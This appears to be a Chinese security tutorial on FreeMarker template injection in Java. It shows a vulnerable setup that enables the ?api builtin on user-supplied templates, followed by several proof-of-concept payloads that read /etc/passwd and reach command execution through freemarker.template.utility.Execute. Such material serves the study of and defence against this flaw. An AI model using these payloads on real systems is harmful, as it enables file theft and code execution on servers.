编程语言
首页 > 编程语言> > Java安全之freemaker模版注入

Java安全之freemaker模版注入

作者:互联网

freemaker简介#

FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 在线手册:http://freemarker.foofun.cn/

模板文件存放在Web服务器上,当访问指定模版文件时, FreeMarker会动态转换模板,用最新的数据内容替换模板中 ${...}的部分,然后返回渲染结果。

freemaker中的一些概念:

其他任何不是FTL标签,插值或注释的内容将被视为静态文本, 这些东西不会被FreeMarker所解析;会被按照原样输出出来。

freemaker中的一些指令:http://freemarker.foofun.cn/dgui_quickstart_template.html

一般漏洞常位于后台可以编辑模版的地方,通过插入恶意的ftl指令到ftl文件中,当后端再次return或者process时即可触发代码执行。

主要代码

Configuration cfg = new Configuration();
cfg.setAPIBuiltinEnabled(true);	// 开启api
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);

StringWriter writer = new StringWriter();
template.process(root,writer);		//*
return writer.toString();

利用方式#

api#

这些内建函数从 FreeMarker 2.3.22 版本开始存在。

通过它可以访问底层Java Api Freemarker的BeanWrappers。这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。

如果value本身支持这个额外的特性, value?api 提供访问 valueAPI (通常是 Java API),比如value?api.someJavaMethod(), 当需要调用对象的Java方法时。

poc

 <#assign classLoader=object?api.class.protectionDomain.classLoader>
  eg1:// 未测试成功
  <#assign classLoader=object?api.class.getClassLoader()>
  ${classLoader.loadClass("our.desired.class")}

  eg2: 任意文件读
  <#assign uri=object?api.class.getResource("/").toURI()>
  <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  <#assign is=input?api.getInputStream()>
  FILE:[<#list 0..999999999 as _>
      <#assign byte=is.read()>
      <#if byte == -1>
          <#break>
      </#if>
  ${byte}, </#list>]
eg3: 
   <#assign is=object?api.class.getResourceAsStream("/etc/passwd")>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg4:
<#assign uri=object?api.class.getResource("/").toURI()>
    <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
    <#assign is=input?api.getInputStream()>
    FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
    ${byte}, </#list>]
eg5:获取classLoader
<#assign classLoader=object?api.class.protectionDomain.classLoader>
    <#assign clazz=classLoader.loadClass("ClassExposingGSON")>
    <#assign field=clazz?api.getField("GSON")>
    <#assign gson=field?api.get(null)>
    <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
    ${ex("calc")}

标签:Java,For,语法,编译代码,方法,ArrayList,代码
来源: